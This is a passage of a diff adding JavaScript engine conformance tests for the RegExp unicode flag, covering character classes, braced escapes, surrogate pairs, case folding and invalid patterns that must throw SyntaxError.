+assertEq(/\u{D83D}\uDC38+/u.exec("\uD83D\uDC38\uDC38"),
+ null);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/unicode-character-class-escape.js b/js/src/tests/ecma_6/RegExp/unicode-character-class-escape.js
new file mode 100644
index 000000000..175207d5a
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/unicode-character-class-escape.js
@@ -0,0 +1,75 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- CharacterClassEscape.";
+
+print(BUGNUMBER + ": " + summary);
+
+// BMP
+
+assertEqArray(/\d+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["0123456789"]);
+assertEqArray(/\D+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["abcxyzABCXYZ"]);
+
+assertEqArray(/\s+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["\t\r\n\v\x0c\xa0\uFEFF"]);
+assertEqArray(/\S+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["abcxyzABCXYZ0123456789_"]);
+
+assertEqArray(/\w+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["abcxyzABCXYZ0123456789_"]);
+assertEqArray(/\W+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["\t\r\n\v\x0c\xa0\uFEFF*"]);
+
+assertEqArray(/\n+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["\n"]);
+
+assertEqArray(/[\d]+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["0123456789"]);
+assertEqArray(/[\D]+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["abcxyzABCXYZ"]);
+
+assertEqArray(/[\s]+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["\t\r\n\v\x0c\xa0\uFEFF"]);
+assertEqArray(/[\S]+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["abcxyzABCXYZ0123456789_"]);
+
+assertEqArray(/[\w]+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["abcxyzABCXYZ0123456789_"]);
+assertEqArray(/[\W]+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["\t\r\n\v\x0c\xa0\uFEFF*"]);
+
+assertEqArray(/[\n]+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["\n"]);
+
+// non-BMP
+
+function testNonBMP(re) {
+ assertEqArray(re.exec("\uD83D\uDBFF"),
+ ["\uD83D"]);
+ assertEqArray(re.exec("\uD83D\uDC00"),
+ ["\uD83D\uDC00"]);
+ assertEqArray(re.exec("\uD83D\uDFFF"),
+ ["\uD83D\uDFFF"]);
+ assertEqArray(re.exec("\uD83D\uE000"),
+ ["\uD83D"]);
+
+ assertEqArray(re.exec("\uD7FF\uDC38"),
+ ["\uD7FF"]);
+ assertEqArray(re.exec("\uD800\uDC38"),
+ ["\uD800\uDC38"]);
+ assertEqArray(re.exec("\uDBFF\uDC38"),
+ ["\uDBFF\uDC38"]);
+ assertEqArray(re.exec("\uDC00\uDC38"),
+ ["\uDC00"]);
+}
+
+testNonBMP(/\D/u);
+testNonBMP(/\S/u);
+testNonBMP(/\W/u);
+
+testNonBMP(/[\D]/u);
+testNonBMP(/[\S]/u);
+testNonBMP(/[\W]/u);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/unicode-class-braced.js b/js/src/tests/ecma_6/RegExp/unicode-class-braced.js
new file mode 100644
index 000000000..4b5954012
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/unicode-class-braced.js
@@ -0,0 +1,236 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- braced pattern in RegExpUnicodeEscapeSequence in CharacterClass.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== standalone ====
+
+assertEqArray(/[\u{41}]/u.exec("ABC"),
+ ["A"]);
+
+assertEqArray(/[\u{1F438}]/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEq(/[\u{1F438}]/u.exec("\uD83D"),
+ null);
+assertEq(/[\u{1F438}]/u.exec("\uDC38"),
+ null);
+
+assertEqArray(/[\u{0}]/u.exec("\u{0}"),
+ ["\u{0}"]);
+assertEqArray(/[\u{10FFFF}]/u.exec("\u{10FFFF}"),
+ ["\u{10FFFF}"]);
+assertEqArray(/[\u{10ffff}]/u.exec("\u{10FFFF}"),
+ ["\u{10FFFF}"]);
+
+// leading 0
+assertEqArray(/[\u{0000000000000000000000}]/u.exec("\u{0}"),
+ ["\u{0}"]);
+assertEqArray(/[\u{000000000000000010FFFF}]/u.exec("\u{10FFFF}"),
+ ["\u{10FFFF}"]);
+
+// RegExp constructor
+assertEqArray(new RegExp("[\\u{0}]", "u").exec("\u{0}"),
+ ["\u{0}"]);
+assertEqArray(new RegExp("[\\u{41}]", "u").exec("ABC"),
+ ["A"]);
+assertEqArray(new RegExp("[\\u{1F438}]", "u").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(new RegExp("[\\u{10FFFF}]", "u").exec("\u{10FFFF}"),
+ ["\u{10FFFF}"]);
+
+assertEqArray(new RegExp("[\\u{0000000000000000}]", "u").exec("\u{0}"),
+ ["\u{0}"]);
+
+assertEqArray(eval(`/[\\u{${"0".repeat(Math.pow(2, 24)) + "1234"}}]/u`).exec("\u{1234}"),
+ ["\u{1234}"]);
+assertEqArray(new RegExp(`[\\u{${"0".repeat(Math.pow(2, 24)) + "1234"}}]`, "u").exec("\u{1234}"),
+ ["\u{1234}"]);
+
+// ==== BMP + non-BMP ====
+
+assertEqArray(/[A\u{1F438}]/u.exec("A\u{1F438}"),
+ ["A"]);
+assertEqArray(/[A\u{1F438}]/u.exec("\u{1F438}A"),
+ ["\u{1F438}"]);
+
+// lead-only target
+assertEqArray(/[A\u{1F438}]/u.exec("\uD83DA"),
+ ["A"]);
+assertEq(/[A\u{1F438}]/u.exec("\uD83D"),
+ null);
+
+// +
+assertEqArray(/[A\u{1F438}]+/u.exec("\u{1F438}A\u{1F438}A"),
+ ["\u{1F438}A\u{1F438}A"]);
+
+// trail surrogate + lead surrogate
+assertEqArray(/[A\u{1F438}]+/u.exec("\uD83D\uDC38A\uDC38\uD83DA"),
+ ["\uD83D\uDC38A"]);
+
+// ==== non-BMP + non-BMP ====
+
+assertEqArray(/[\u{1F418}\u{1F438}]/u.exec("\u{1F418}\u{1F438}"),
+ ["\u{1F418}"]);
+
+assertEqArray(/[\u{1F418}\u{1F438}]+/u.exec("\u{1F418}\u{1F438}"),
+ ["\u{1F418}\u{1F438}"]);
+assertEqArray(/[\u{1F418}\u{1F438}]+/u.exec("\u{1F418}\uDC38\uD83D"),
+ ["\u{1F418}"]);
+assertEqArray(/[\u{1F418}\u{1F438}]+/u.exec("\uDC18\uD83D\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/[\u{1F418}\u{1F438}]+/u.exec("\uDC18\u{1F438}\uD83D"),
+ ["\u{1F438}"]);
+
+// trail surrogate + lead surrogate
+assertEq(/[\u{1F418}\u{1F438}]+/u.exec("\uDC18\uDC38\uD83D\uD83D"),
+ null);
+
+// ==== non-BMP + non-BMP range (from_lead == to_lead) ====
+
+assertEqArray(/[\u{1F418}-\u{1F438}]/u.exec("\u{1F418}"),
+ ["\u{1F418}"]);
+assertEqArray(/[\u{1F418}-\u{1F438}]/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/[\u{1F418}-\u{1F438}]/u.exec("\u{1F427}"),
+ ["\u{1F427}"]);
+
+assertEq(/[\u{1F418}-\u{1F438}]/u.exec("\u{1F417}"),
+ null);
+assertEq(/[\u{1F418}-\u{1F438}]/u.exec("\u{1F439}"),
+ null);
+
+// ==== non-BMP + non-BMP range (from_lead + 1 == to_lead) ====
+
+assertEqArray(/[\u{1F17C}-\u{1F438}]/u.exec("\uD83C\uDD7C"),
+ ["\uD83C\uDD7C"]);
+assertEqArray(/[\u{1F17C}-\u{1F438}]/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/[\u{1F17C}-\u{1F438}]/u.exec("\uD83C\uDF99"),
+ ["\uD83C\uDF99"]);
+assertEqArray(/[\u{1F17C}-\u{1F438}]/u.exec("\uD83D\uDC00"),
+ ["\uD83D\uDC00"]);
+
+assertEq(/[\u{1F17C}-\u{1F438}]/u.exec("\uD83C\uDD7B"),
+ null);
+assertEq(/[\u{1F17C}-\u{1F438}]/u.exec("\uD83C\uE000"),
+ null);
+assertEq(/[\u{1F17C}-\u{1F438}]/u.exec("\uD83D\uDB99"),
+ null);
+assertEq(/[\u{1F17C}-\u{1F438}]/u.exec("\uD83D\uDC39"),
+ null);
+
+// ==== non-BMP + non-BMP range (from_lead + 2 == to_lead) ====
+
+assertEqArray(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83C\uDD7C"),
+ ["\uD83C\uDD7C"]);
+assertEqArray(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83E\uDC29"),
+ ["\uD83E\uDC29"]);
+
+assertEqArray(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83C\uDF99"),
+ ["\uD83C\uDF99"]);
+assertEqArray(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83D\uDC00"),
+ ["\uD83D\uDC00"]);
+assertEqArray(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83D\uDF99"),
+ ["\uD83D\uDF99"]);
+assertEqArray(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83E\uDC00"),
+ ["\uD83E\uDC00"]);
+
+assertEq(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83C\uDD7B"),
+ null);
+assertEq(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83C\uE000"),
+ null);
+assertEq(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83D\uDB99"),
+ null);
+assertEq(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83D\uE000"),
+ null);
+assertEq(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83E\uDB99"),
+ null);
+assertEq(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83E\uDC30"),
+ null);
+
+// ==== non-BMP + non-BMP range (other) ====
+
+assertEqArray(/[\u{1D164}-\u{1F438}]/u.exec("\uD834\uDD64"),
+ ["\uD834\uDD64"]);
+assertEqArray(/[\u{1D164}-\u{1F438}]/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/[\u{1D164}-\u{1F438}]/u.exec("\uD836\uDF99"),
+ ["\uD836\uDF99"]);
+assertEqArray(/[\u{1D164}-\u{1F438}]/u.exec("\uD838\uDC00"),
+ ["\uD838\uDC00"]);
+
+assertEq(/[\u{1D164}-\u{1F438}]/u.exec("\uD834\uDD63"),
+ null);
+assertEq(/[\u{1D164}-\u{1F438}]/u.exec("\uD83D\uDC39"),
+ null);
+
+assertEq(/[\u{1D164}-\u{1F438}]/u.exec("\uD834\uE000"),
+ null);
+assertEq(/[\u{1D164}-\u{1F438}]/u.exec("\uD835\uDB99"),
+ null);
+assertEq(/[\u{1D164}-\u{1F438}]/u.exec("\uD83C\uE000"),
+ null);
+assertEq(/[\u{1D164}-\u{1F438}]/u.exec("\uD83D\uDB99"),
+ null);
+
+// ==== BMP + non-BMP range ====
+
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("B"),
+ ["B"]);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("C"),
+ ["C"]);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uFFFF"),
+ ["\uFFFF"]);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uD800\uDC00"),
+ ["\uD800\uDC00"]);
+
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uD800"),
+ ["\uD800"]);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uDBFF"),
+ ["\uDBFF"]);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uDC00"),
+ ["\uDC00"]);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uDFFF"),
+ ["\uDFFF"]);
+
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uDC38"),
+ ["\uDC38"]);
+
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uD83D\uDBFF"),
+ ["\uD83D"]);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uD83D\uDC00"),
+ ["\uD83D\uDC00"]);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uD83D\uDC38"),
+ ["\uD83D\uDC38"]);
+assertEq(/[\u{42}-\u{1F438}]/u.exec("\uD83D\uDC39"),
+ null);
+assertEq(/[\u{42}-\u{1F438}]/u.exec("\uD83D\uDFFF"),
+ null);
+assertEqArray(/[\u{42}-\u{1F438}]/u.exec("\uD83D\uE000"),
+ ["\uD83D"]);
+
+assertEq(/[\u{42}-\u{1F438}]/u.exec("A"),
+ null);
+
+// ==== wrong patterns ====
+
+assertThrowsInstanceOf(() => eval(`/[\\u{-1}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{0.0}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{G}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{{]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{110000}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{00110000}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{100000000000000000000000000000}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{ FFFF}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{FFFF }]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{FF FF}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{F F F F}]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u{100000001}]/u`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/unicode-class-empty.js b/js/src/tests/ecma_6/RegExp/unicode-class-empty.js
new file mode 100644
index 000000000..4d187551f
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/unicode-class-empty.js
@@ -0,0 +1,25 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- empty class should not match anything.";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(/[]/u.exec("A"),
+ null);
+assertEq(/[]/u.exec("\uD83D"),
+ null);
+assertEq(/[]/u.exec("\uDC38"),
+ null);
+assertEq(/[]/u.exec("\uD83D\uDC38"),
+ null);
+
+assertEqArray(/[^]/u.exec("A"),
+ ["A"]);
+assertEqArray(/[^]/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[^]/u.exec("\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/[^]/u.exec("\uD83D\uDC38"),
+ ["\uD83D\uDC38"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/unicode-class-ignoreCase.js b/js/src/tests/ecma_6/RegExp/unicode-class-ignoreCase.js
new file mode 100644
index 000000000..afa7705c7
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/unicode-class-ignoreCase.js
@@ -0,0 +1,28 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- ignoreCase flag for CharacterClass.";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEqArray(/[ABC]+/iu.exec("DCBAabcd"),
+ ["CBAabc"]);
+
+assertEqArray(/[A\u{10401}]+/iu.exec("A\u{10401}a\u{10429}"),
+ ["A\u{10401}a\u{10429}"]);
+
+assertEqArray(/[\u{10401}-\u{10404}\u{10408}-\u{1040B}]+/iu.exec("\u{10400}\u{10401}\u{10402}\u{10403}\u{10404}\u{10408}\u{10409}\u{1040A}\u{1040B}\u{1040C}"),
+ ["\u{10401}\u{10402}\u{10403}\u{10404}\u{10408}\u{10409}\u{1040A}\u{1040B}"]);
+assertEqArray(/[\u{10401}-\u{10404}\u{10408}-\u{1040B}]+/iu.exec("\u{10428}\u{10429}\u{1042A}\u{1042B}\u{1042C}\u{10430}\u{10431}\u{10432}\u{10433}\u{10434}"),
+ ["\u{10429}\u{1042A}\u{1042B}\u{1042C}\u{10430}\u{10431}\u{10432}\u{10433}"]);
+
+assertEqArray(/[\u{10429}-\u{1042C}\u{10430}-\u{10433}]+/iu.exec("\u{10400}\u{10401}\u{10402}\u{10403}\u{10404}\u{10408}\u{10409}\u{1040A}\u{1040B}\u{1040C}"),
+ ["\u{10401}\u{10402}\u{10403}\u{10404}\u{10408}\u{10409}\u{1040A}\u{1040B}"]);
+assertEqArray(/[\u{10429}-\u{1042C}\u{10430}-\u{10433}]+/iu.exec("\u{10428}\u{10429}\u{1042A}\u{1042B}\u{1042C}\u{10430}\u{10431}\u{10432}\u{10433}\u{10434}"),
+ ["\u{10429}\u{1042A}\u{1042B}\u{1042C}\u{10430}\u{10431}\u{10432}\u{10433}"]);
+
+assertEqArray(/[\u{10401}-\u{10404}\u{10430}-\u{10433}]+/iu.exec("\u{10400}\u{10401}\u{10402}\u{10403}\u{10404}\u{10408}\u{10409}\u{1040A}\u{1040B}\u{1040C}"),
+ ["\u{10401}\u{10402}\u{10403}\u{10404}\u{10408}\u{10409}\u{1040A}\u{1040B}"]);
+assertEqArray(/[\u{10401}-\u{10404}\u{10430}-\u{10433}]+/iu.exec("\u{10428}\u{10429}\u{1042A}\u{1042B}\u{1042C}\u{10430}\u{10431}\u{10432}\u{10433}\u{10434}"),
+ ["\u{10429}\u{1042A}\u{1042B}\u{1042C}\u{10430}\u{10431}\u{10432}\u{10433}"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/unicode-class-lead-trail.js b/js/src/tests/ecma_6/RegExp/unicode-class-lead-trail.js
new file mode 100644
index 000000000..c83bf937d
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/unicode-class-lead-trail.js
@@ -0,0 +1,142 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- lead and trail pattern in RegExpUnicodeEscapeSequence in CharacterClass.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== standalone ====
+
+assertEqArray(/[\uD83D\uDC38]/u.exec("\uD83D\uDC38"),
+ ["\uD83D\uDC38"]);
+assertEq(/[\uD83D\uDC38]/u.exec("\uD83D"),
+ null);
+assertEq(/[\uD83D\uDC38]/u.exec("\uDC38"),
+ null);
+
+// no unicode flag
+assertEqArray(/[\uD83D\uDC38]/.exec("\uD83D\uDC38"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D\uDC38]/.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D\uDC38]/.exec("\uDC38"),
+ ["\uDC38"]);
+
+// RegExp constructor
+assertEqArray(new RegExp("[\uD83D\uDC38]", "u").exec("\uD83D\uDC38"),
+ ["\uD83D\uDC38"]);
+assertEq(new RegExp("[\uD83D\uDC38]", "u").exec("\uD83D"),
+ null);
+assertEq(new RegExp("[\uD83D\uDC38]", "u").exec("\uDC38"),
+ null);
+
+// RegExp constructor, no unicode flag
+assertEqArray(new RegExp("[\uD83D\uDC38]", "").exec("\uD83D\uDC38"),
+ ["\uD83D"]);
+assertEqArray(new RegExp("[\uD83D\uDC38]", "").exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(new RegExp("[\uD83D\uDC38]", "").exec("\uDC38"),
+ ["\uDC38"]);
+
+// ==== lead-only ====
+
+// match only non-surrogate pair
+assertEqArray(/[\uD83D]/u.exec("\uD83D\uDBFF"),
+ ["\uD83D"]);
+assertEq(/[\uD83D]/u.exec("\uD83D\uDC00"),
+ null);
+assertEq(/[\uD83D]/u.exec("\uD83D\uDFFF"),
+ null);
+assertEqArray(/[\uD83D]/u.exec("\uD83D\uE000"),
+ ["\uD83D"]);
+
+// match before non-tail char
+assertEqArray(/[\uD83D]/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D]/u.exec("\uD83DA"),
+ ["\uD83D"]);
+
+// no unicode flag
+assertEqArray(/[\uD83D]/.exec("\uD83D\uDBFF"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D]/.exec("\uD83D\uDC00"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D]/.exec("\uD83D\uDFFF"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D]/.exec("\uD83D\uE000"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D]/.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D]/.exec("\uD83DA"),
+ ["\uD83D"]);
+
+// ==== trail-only ====
+
+// match only non-surrogate pair
+assertEqArray(/[\uDC38]/u.exec("\uD7FF\uDC38"),
+ ["\uDC38"]);
+assertEq(/[\uDC38]/u.exec("\uD800\uDC38"),
+ null);
+assertEq(/[\uDC38]/u.exec("\uDBFF\uDC38"),
+ null);
+assertEqArray(/[\uDC38]/u.exec("\uDC00\uDC38"),
+ ["\uDC38"]);
+
+// match after non-lead char
+assertEqArray(/[\uDC38]/u.exec("\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/[\uDC38]/u.exec("A\uDC38"),
+ ["\uDC38"]);
+
+// no unicode flag
+assertEqArray(/[\uDC38]/.exec("\uD7FF\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/[\uDC38]/.exec("\uD800\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/[\uDC38]/.exec("\uDBFF\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/[\uDC38]/.exec("\uDC00\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/[\uDC38]/.exec("\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/[\uDC38]/.exec("A\uDC38"),
+ ["\uDC38"]);
+
+// ==== invalid trail ====
+
+assertEqArray(/[\uD83D\u3042]*/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D\u3042]*/u.exec("\uD83D\u3042"),
+ ["\uD83D\u3042"]);
+assertEqArray(/[\uD83D\u3042]*/u.exec("\uD83D\u3042\u3042\uD83D"),
+ ["\uD83D\u3042\u3042\uD83D"]);
+
+assertEqArray(/[\uD83D\u{3042}]*/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83D\u{3042}]*/u.exec("\uD83D\u3042"),
+ ["\uD83D\u3042"]);
+assertEqArray(/[\uD83D\u{3042}]*/u.exec("\uD83D\u3042\u3042\uD83D"),
+ ["\uD83D\u3042\u3042\uD83D"]);
+
+assertEqArray(/[\uD83DA]*/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[\uD83DA]*/u.exec("\uD83DA"),
+ ["\uD83DA"]);
+assertEqArray(/[\uD83DA]*/u.exec("\uD83DAA\uD83D"),
+ ["\uD83DAA\uD83D"]);
+
+// ==== wrong patterns ====
+
+assertThrowsInstanceOf(() => eval(`/[\\u]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u0]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u00]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u000]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u000G]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\u0.00]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uD83D\\u]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uD83D\\u0]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uD83D\\u00]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uD83D\\u000]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uD83D\\u000G]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uD83D\\u0.00]/u`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/unicode-class-negated.js b/js/src/tests/ecma_6/RegExp/unicode-class-negated.js
new file mode 100644
index 000000000..0b573f6dc
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/unicode-class-negated.js
@@ -0,0 +1,64 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- negated CharacterClass.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== BMP ====
+
+assertEqArray(/[^A]/u.exec("ABC"),
+ ["B"]);
+assertEqArray(/[^A]/u.exec("A\u{1F438}C"),
+ ["\u{1F438}"]);
+assertEqArray(/[^A]/u.exec("A\uD83DC"),
+ ["\uD83D"]);
+assertEqArray(/[^A]/u.exec("A\uDC38C"),
+ ["\uDC38"]);
+
+assertEqArray(/[^\uE000]/u.exec("\uE000\uE001"),
+ ["\uE001"]);
+assertEqArray(/[^\uE000]/u.exec("\uE000\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/[^\uE000]/u.exec("\uE000\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[^\uE000]/u.exec("\uE000\uDC38"),
+ ["\uDC38"]);
+
+// ==== non-BMP ====
+
+assertEqArray(/[^\u{1F438}]/u.exec("\u{1F438}A"),
+ ["A"]);
+assertEqArray(/[^\u{1F438}]/u.exec("\u{1F438}\u{1F439}"),
+ ["\u{1F439}"]);
+assertEqArray(/[^\u{1F438}]/u.exec("\u{1F438}\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/[^\u{1F438}]/u.exec("\u{1F438}\uDC38"),
+ ["\uDC38"]);
+
+// ==== lead-only ====
+
+assertEqArray(/[^\uD83D]/u.exec("\u{1F438}A"),
+ ["\u{1F438}"]);
+assertEqArray(/[^\uD83D]/u.exec("\uD83D\uDBFF"),
+ ["\uDBFF"]);
+assertEqArray(/[^\uD83D]/u.exec("\uD83D\uDC00"),
+ ["\uD83D\uDC00"]);
+assertEqArray(/[^\uD83D]/u.exec("\uD83D\uDFFF"),
+ ["\uD83D\uDFFF"]);
+assertEqArray(/[^\uD83D]/u.exec("\uD83D\uE000"),
+ ["\uE000"]);
+
+// ==== trail-only ====
+
+assertEqArray(/[^\uDC38]/u.exec("\u{1F438}A"),
+ ["\u{1F438}"]);
+assertEqArray(/[^\uDC38]/u.exec("\uD7FF\uDC38"),
+ ["\uD7FF"]);
+assertEqArray(/[^\uDC38]/u.exec("\uD800\uDC38"),
+ ["\uD800\uDC38"]);
+assertEqArray(/[^\uDC38]/u.exec("\uDBFF\uDC38"),
+ ["\uDBFF\uDC38"]);
+assertEqArray(/[^\uDC38]/u.exec("\uDC00\uDC38"),
+ ["\uDC00"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/RegExp/unicode-class-range.js b/js/src/tests/ecma_6/RegExp/unicode-class-range.js
new file mode 100644
index 000000000..5bb757560
--- /dev/null
+++ b/js/src/tests/ecma_6/RegExp/unicode-class-range.js
@@ -0,0 +1,28 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- disallow range with CharacterClassEscape.";
+
+print(BUGNUMBER + ": " + summary);
+
+assertThrowsInstanceOf(() => eval(`/[\\w-\\uFFFF]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\W-\\uFFFF]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\d-\\uFFFF]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\D-\\uFFFF]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\s-\\uFFFF]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\S-\\uFFFF]/u`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`/[\\uFFFF-\\w]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uFFFF-\\W]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uFFFF-\\d]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uFFFF-\\D]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uFFFF-\\s]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\uFFFF-\\S]/u`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`/[\\w-\\w]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\W-\\W]/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/[\\d-\\d]/u`), SyntaxError);
